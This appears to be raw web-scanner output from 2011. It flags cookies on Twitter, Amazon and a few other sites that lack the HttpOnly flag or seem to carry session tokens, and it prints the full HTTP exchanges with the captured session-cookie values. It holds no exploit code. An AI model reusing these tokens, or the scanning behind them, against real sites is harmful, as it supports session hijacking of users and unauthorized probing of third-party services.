The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /share HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
guest_id=129596406668777691; path=/; expires=Thu, 24 Feb 2011 14:01:06 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /spies_assassins HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 14:01:07 GMT Server: hi Status: 200 OK X-Transaction: 1295964066-9198-19132 ETag: "d25862c279dba6cd1e553cac20d22d67" Last-Modified: Tue, 25 Jan 2011 14:01:06 GMT X-Runtime: 0.81721 Content-Type: text/html; charset=utf-8 Content-Length: 53400 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295964064205570; path=/; expires=Tue, 01-Feb-11 14:01:04 GMT; domain=.twitter.com Set-Cookie: guest_id=129596406668777691; path=/; expires=Thu, 24 Feb 2011 14:01:06 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoMY3NyZl9pZCIlOTFhMjVhMGYxN2MzNTI1ZTQ5ZmUzZjczMmNkZjE3%250AMjc6DnJldHVybl90byInaHR0cDovL3R3aXR0ZXIuY29tL3NwaWVzX2Fzc2Fz%250Ac2luczoHaWQiJTYzMTVlMzExN2JlZWI3ZTk3NzRhNmY4YzVlZGMxZGFhIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIgVN6vS0B--19cfe0462f0d48cd362b4b7b652a3c4766f21675; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129596406693798147; path=/; expires=Thu, 24 Feb 2011 14:01:06 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /tweetmeme HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 14:01:06 GMT Server: hi Status: 200 OK X-Transaction: 1295964066-9478-51270 ETag: "7b585adb867e3eb6f32095f5c2866375" Last-Modified: Tue, 25 Jan 2011 14:01:06 GMT X-Runtime: 0.01836 Content-Type: text/html; charset=utf-8 Content-Length: 53983 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295964064200831; path=/; expires=Tue, 01-Feb-11 14:01:04 GMT; domain=.twitter.com Set-Cookie: guest_id=129596406693798147; path=/; expires=Thu, 24 Feb 2011 14:01:06 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTJkNDc2OWNmNTUxYTAyZGE3OGM1MDcyNjFlYTA4NWNjIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIfFR6vS0B--e1050b38818ecc596cfa97ed5bb62afd0749dcd8; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129596413223631444; path=/; expires=Thu, 24 Feb 2011 14:02:12 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /typekit HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 14:02:12 GMT Server: hi Status: 200 OK X-Transaction: 1295964132-61803-46798 ETag: "2d1d82c342cf698a8f46318662e78b68" Last-Modified: Tue, 25 Jan 2011 14:02:12 GMT X-Runtime: 0.01489 Content-Type: text/html; charset=utf-8 Content-Length: 43545 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295964130260966; path=/; expires=Tue, 01-Feb-11 14:02:10 GMT; domain=.twitter.com Set-Cookie: guest_id=129596413223631444; path=/; expires=Thu, 24 Feb 2011 14:02:12 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJWZmZDVhODg4ZjIyMmRmMGIwMmY4ZGM3MmFlYTJhNDMxIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIjlN7vS0B--f40f6aa2142d312dbf0ca41283ed8a96a762a0ed; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129596408557745250; path=/; expires=Thu, 24 Feb 2011 14:01:25 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ups HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 14:01:25 GMT Server: hi Status: 200 OK X-Transaction: 1295964085-20547-5536 ETag: "85433ba8bcb16420f3ea185c5d7c6195" Last-Modified: Tue, 25 Jan 2011 14:01:25 GMT X-Runtime: 0.01379 Content-Type: text/html; charset=utf-8 Content-Length: 52371 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295964083613063; path=/; expires=Tue, 01-Feb-11 14:01:23 GMT; domain=.twitter.com Set-Cookie: guest_id=129596408557745250; path=/; expires=Thu, 24 Feb 2011 14:01:25 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTYxMDFiNjg3MGUwYWZiNDYxNDkyZGM1NTZiMTIxZGJjIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsISp16vS0B--e1e310d0e3c9c2bde665bf97fbd81a7490ab10e3; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: whdhstore.hipcricket.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 24 Jan 2011 23:10:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET p3p: CP=\"IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT\" Content-Length: 19423 Content-Type: text/html Set-Cookie: ASPSESSIONIDQCSTATBQ=FMADLDFCELMBEGBAHKIFEOLO; path=/ Cache-control: private
<style type="text/css"> /* classic styles pulled in from old template - using arial instead of TNR */ td {font-family:Arial; font-size:12px;color:#000000;} p {font-family:Arial; font-size:12px;} ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.123movers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> M ...[SNIP]...
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:04:22 GMT Server: Server Set-Cookie: skin=noskin; path=/; domain=.amazon.com; expires=Tue, 25-Jan-2011 14:04:22 GMT x-amz-id-1: 0SBFNHA40PDAQCKXW60Q p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: qBgIWFuA2Wjoamon8NoAG9bdAoR3KqlibGyFaWE7CQvIKyPWqQkJunDX652P1Cp2 Vary: Accept-Encoding,User-Agent nnCoection: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=183-0141411-2666057; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 141800
<html> <head>
<style type="text/css"><!--
BODY { font-family: verdana,arial,helvetica,sans-serif; font-size: x-small; background-color: #FF ...[SNIP]...
The following cookies were issued by the application and do not have the HttpOnly flag set:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=191-9849773-1831958; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Kindle-Wireless-Reader-Wifi-Graphite/dp/B002Y27P3M/x22 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:35 GMT Server: Server x-amz-id-1: 0FSERHCXPR6RX175GC9Y p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: kR10u+vmtmJMjH8b0QtzQOA7YFXccTCuWSFp6hNB3ud9u6GhHvfORZRd53Wds1YX Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=191-9849773-1831958; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 738612
The following cookies were issued by the application and do not have the HttpOnly flag set:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=187-6920967-0553225; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Kindle-Wireless-Reading-Device-Display/dp/B0015T963C/x22 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:34 GMT Server: Server x-amz-id-1: 1X3EPAT3ZMNVCSGSMBAN p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: XWFESHf4LDfW4Q4jtyPNlMZUcPixPfxkYZBCrWieQtkwWSKt/X54SoeJ/bATZoKW Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=187-6920967-0553225; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 508145
The following cookies were issued by the application and do not have the HttpOnly flag set:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=184-9752175-3585404; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /b/ HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:36 GMT Server: Server x-amz-id-1: 1Z8842RFJJQ53HA29PKK p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: Thz+3TyDFYah1x3ei6oQr/mo+vx0XErnPjJ/ljJngQIg1o7JCKD0eSlBevy55XTo Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=184-9752175-3585404; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16144
The following cookies were issued by the application and do not have the HttpOnly flag set:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=175-9805255-9723637; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /books-used-books-textbooks/b HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:25 GMT Server: Server x-amz-id-1: 0PN0C1SZEXY20ARQ0EZ7 p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: Crev47aQfB2uqb2X//rUO4Hxdev3PyQ/5jNKWV00peXpTx5B0oH6Vgmw1c8EiiK+ Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=175-9805255-9723637; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16144
The following cookies were issued by the application and do not have the HttpOnly flag set:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=188-3368164-3583051; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
UserPref=cNF169Ic3p+FLZlmECYIuJwUEnmMidNZpqOMXJlzFfyGkoLR/f0WF8vs6ZQU5HX+qBwE7qqoL3t9fdNtjPj3gyYsZ9OPP64Bj28wuj43iGA+RQm2aZs0leyoMSaGWoAmLLFT4m57m2mg/M9gT8m8zgH4Tc7xnQpx7XV0ybHDfWS2rJ30owc8Rfy1J4pUKTmIEUgNrK9xS2pwjtjSqsQvCH98yL0TxvhtC5sb3N+5Hsbf09QrIa+pq7nenC2PQqxud5/rAY2tUqp08BC6AQqUm9FRfG4U//pmCE8P+Nf4Ay6b7r0qWful6/GAXYGc9NJ8UFNtl8lIxNbvvKSGUwWxMFhHe2yFoXqfgLXGtAif6/GMRqdmxDwAFvFgrcU5U0NDFanauf5u8xPOR/t4Rw9yAVQVnhKW/N98x8jGOU9360lRgvHsw0R7W92mPEKiYj0h57Jn/qFxIY4=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:06:18 2011 GMT
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /dp/0313363153?tag=parenthoodcom-20&camp=211493&creative=379981&linkCode=op1&creativeASIN=0313363153&adid=1E43GGA9XAJKCAEXAPNZ& HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:06:18 GMT Server: Server x-amz-id-1: 1XEKQW5VKEVTKXS2HSJA p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: XeWIrG239x/NdCZhKVLDJEcUlefLzu6eYfgdzbR7oX4dl76GDeDVLHHKaEiGy4dJ Vary: Accept-Encoding,User-Agent nnCoection: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=188-3368164-3583051; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: UserPref=cNF169Ic3p+FLZlmECYIuJwUEnmMidNZpqOMXJlzFfyGkoLR/f0WF8vs6ZQU5HX+qBwE7qqoL3t9fdNtjPj3gyYsZ9OPP64Bj28wuj43iGA+RQm2aZs0leyoMSaGWoAmLLFT4m57m2mg/M9gT8m8zgH4Tc7xnQpx7XV0ybHDfWS2rJ30owc8Rfy1J4pUKTmIEUgNrK9xS2pwjtjSqsQvCH98yL0TxvhtC5sb3N+5Hsbf09QrIa+pq7nenC2PQqxud5/rAY2tUqp08BC6AQqUm9FRfG4U//pmCE8P+Nf4Ay6b7r0qWful6/GAXYGc9NJ8UFNtl8lIxNbvvKSGUwWxMFhHe2yFoXqfgLXGtAif6/GMRqdmxDwAFvFgrcU5U0NDFanauf5u8xPOR/t4Rw9yAVQVnhKW/N98x8jGOU9360lRgvHsw0R7W92mPEKiYj0h57Jn/qFxIY4=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:06:18 2011 GMT Content-Length: 369008
The following cookies were issued by the application and do not have the HttpOnly flag set:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=176-7210136-6598218; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
UserPref=y3NkdEGeLcNmXCUiBl72zia0IgOUlzJisM6ejtj6++wAzjFW+0MbDLrBrMTYId5ScAAIGSpPr8ov4wvfMrz16qkoExEE846LElBHdCDq1wJ5G3PyH/8+t8ULEiTMRJzZ+/UmohvS0s1wbtQLhB5tRJaj+v9Qvdikv5wA8Z+9BSaQuNwa25tYVL3brZaSaxoPnkAsz7sFby/Vm3IEdAyCOCgmDlA7LSKWp7BGexnTvAm3XJETeqxNVJ4XDLyzD9mn489zuGO7Hr1Q5jDtdTkD7MsDhmN6H6NA+BAMoVhXzdj8ywD6RaU+CKSyhgSibHDJfiAf99mXgDVIui4kc0MR8MKRTBSKmuzQBaMCl0Pf98laS7P8B1wibfy99GA8Gxn4ZYxd9IYn+0IOEpAUVtWvSy3VhH2tV4F6FYuFOflVaV1k+o8nZAdjmsVsH/6mMkOtJfcsZt8CR0o=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:05:31 2011 GMT
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /dp/0814410960?tag=parenthoodcom-20&camp=211493&creative=379981&linkCode=op1&creativeASIN=0814410960&adid=1E43GGA9XAJKCAEXAPNZ& HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:05:30 GMT Server: Server x-amz-id-1: 0V1X9WNQCM47PDADFQGC p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: SKWOpw071+vUvE/zvz84QekiVG202hXgMiv2MgQFljVkajAJe9OwpyfODLjeHTmR Vary: Accept-Encoding,User-Agent nnCoection: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=176-7210136-6598218; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: UserPref=y3NkdEGeLcNmXCUiBl72zia0IgOUlzJisM6ejtj6++wAzjFW+0MbDLrBrMTYId5ScAAIGSpPr8ov4wvfMrz16qkoExEE846LElBHdCDq1wJ5G3PyH/8+t8ULEiTMRJzZ+/UmohvS0s1wbtQLhB5tRJaj+v9Qvdikv5wA8Z+9BSaQuNwa25tYVL3brZaSaxoPnkAsz7sFby/Vm3IEdAyCOCgmDlA7LSKWp7BGexnTvAm3XJETeqxNVJ4XDLyzD9mn489zuGO7Hr1Q5jDtdTkD7MsDhmN6H6NA+BAMoVhXzdj8ywD6RaU+CKSyhgSibHDJfiAf99mXgDVIui4kc0MR8MKRTBSKmuzQBaMCl0Pf98laS7P8B1wibfy99GA8Gxn4ZYxd9IYn+0IOEpAUVtWvSy3VhH2tV4F6FYuFOflVaV1k+o8nZAdjmsVsH/6mMkOtJfcsZt8CR0o=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:05:31 2011 GMT Content-Length: 398021
The following cookies were issued by the application and do not have the HttpOnly flag set:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=183-0598759-1123006; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
UserPref=5+EPReZ8AKa7WMIFgy9cHbJVm/9tgaQgv25tnd2EAaj3A2TcoX3BYNQp+U2mBhaH6NNnCCgyjvtkzGGKQPpSQ8YmQMO5JCKLveLlxt9MugLIEpGsQ9/N5+Fno+1FBJOzE7k6DdNtiYO1TD+phGkOUWQ/bAQscWvK7bSH45/y7GXOXIwlbx9HtoYer2qT3bQI/XgRYyDrwUk/3MaxWfXupPISlccJHK+MMD1RlV2PpGnjij8hwxwPu8lFWY2ZyFBuWpfgJTPLmLB81bUuXAJVuEItWLbeo9hG152TFm3xHDssaIPB8rAFW82FLjl1caASZ+3mXZbbwjY5FdvZ3bSUoEYv4rJBnYTCCcuaPY0qDbp0lBhPOVi0eyvDVbNk4+/Hftrx7HmCu7QjCyC5NYd3aS1DdMQsjfynRE0x7QVCx6RwexxPari5JWk0LW4Q/jcI4R+KwxWl55I=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:04:26 2011 GMT
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /dp/B000EFAO1G?tag=parenthoodcom-20&camp=211493&creative=379969&linkCode=op1&creativeASIN=B000EFAO1G&adid=0GZGV3PX406SYA9DGF7Q& HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:04:26 GMT Server: Server x-amz-id-1: 09N75F9VXRTTHCJ6W4N0 p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: BhM/yiIeeNmHNPnM+XNOpz2cQi2I5DL2kxxjVh9EGVEK3Otk7l2KJ92BEBUF6OSA Vary: Accept-Encoding,User-Agent nnCoection: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=183-0598759-1123006; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: UserPref=5+EPReZ8AKa7WMIFgy9cHbJVm/9tgaQgv25tnd2EAaj3A2TcoX3BYNQp+U2mBhaH6NNnCCgyjvtkzGGKQPpSQ8YmQMO5JCKLveLlxt9MugLIEpGsQ9/N5+Fno+1FBJOzE7k6DdNtiYO1TD+phGkOUWQ/bAQscWvK7bSH45/y7GXOXIwlbx9HtoYer2qT3bQI/XgRYyDrwUk/3MaxWfXupPISlccJHK+MMD1RlV2PpGnjij8hwxwPu8lFWY2ZyFBuWpfgJTPLmLB81bUuXAJVuEItWLbeo9hG152TFm3xHDssaIPB8rAFW82FLjl1caASZ+3mXZbbwjY5FdvZ3bSUoEYv4rJBnYTCCcuaPY0qDbp0lBhPOVi0eyvDVbNk4+/Hftrx7HmCu7QjCyC5NYd3aS1DdMQsjfynRE0x7QVCx6RwexxPari5JWk0LW4Q/jcI4R+KwxWl55I=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:04:26 2011 GMT Content-Length: 378947
The following cookies were issued by the application and do not have the HttpOnly flag set:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=183-9936733-9404845; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
UserPref=gpJo3CBiqTqDVIjaNvl4zvNYaep1x/cFw36XGdvu+t3AZoNYj5i0ue/20d7C2ZC+I33rSpZQv0bL0wk1Ew8YoO+rtNcIBPKLYOhOlxvFtzRIdn3kvGu6M4tMOkmBEeryBbTVlsJzSNcfMpAFM/xng7ZCP9yYT0m2OdKey3rxmCeD+Fl0AmJvQvFSHWkk425/o8Da9DpaI74WLGaJ7uNOvo6JLwZb5sYP9TvVnm5hmJQsWKXZoF2OyiWVivGgzTAUd6pRUIbYAZkt1sGVL+jil+zZfxZVnjBewrBhOy9v7AhUD8T6SoAGbb4KE5ZJBYWH2OXsSjuLHVIc52YxHzs6raEMD1dV4RY1XTDpsD0MSkGHFH6QBIcq1zDxTwlTMAha08n0zKNwM+cU9SxT/rymeyJe0yjBe5km9qvYTfgoBDkuOc+G0APo8cpXuSfIyagOnBt68PFK8so=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:05:21 2011 GMT
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /dp/B001AIM6V2?tag=parenthoodcom-20&camp=211493&creative=379981&linkCode=op1&creativeASIN=B001AIM6V2&adid=1E43GGA9XAJKCAEXAPNZ& HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
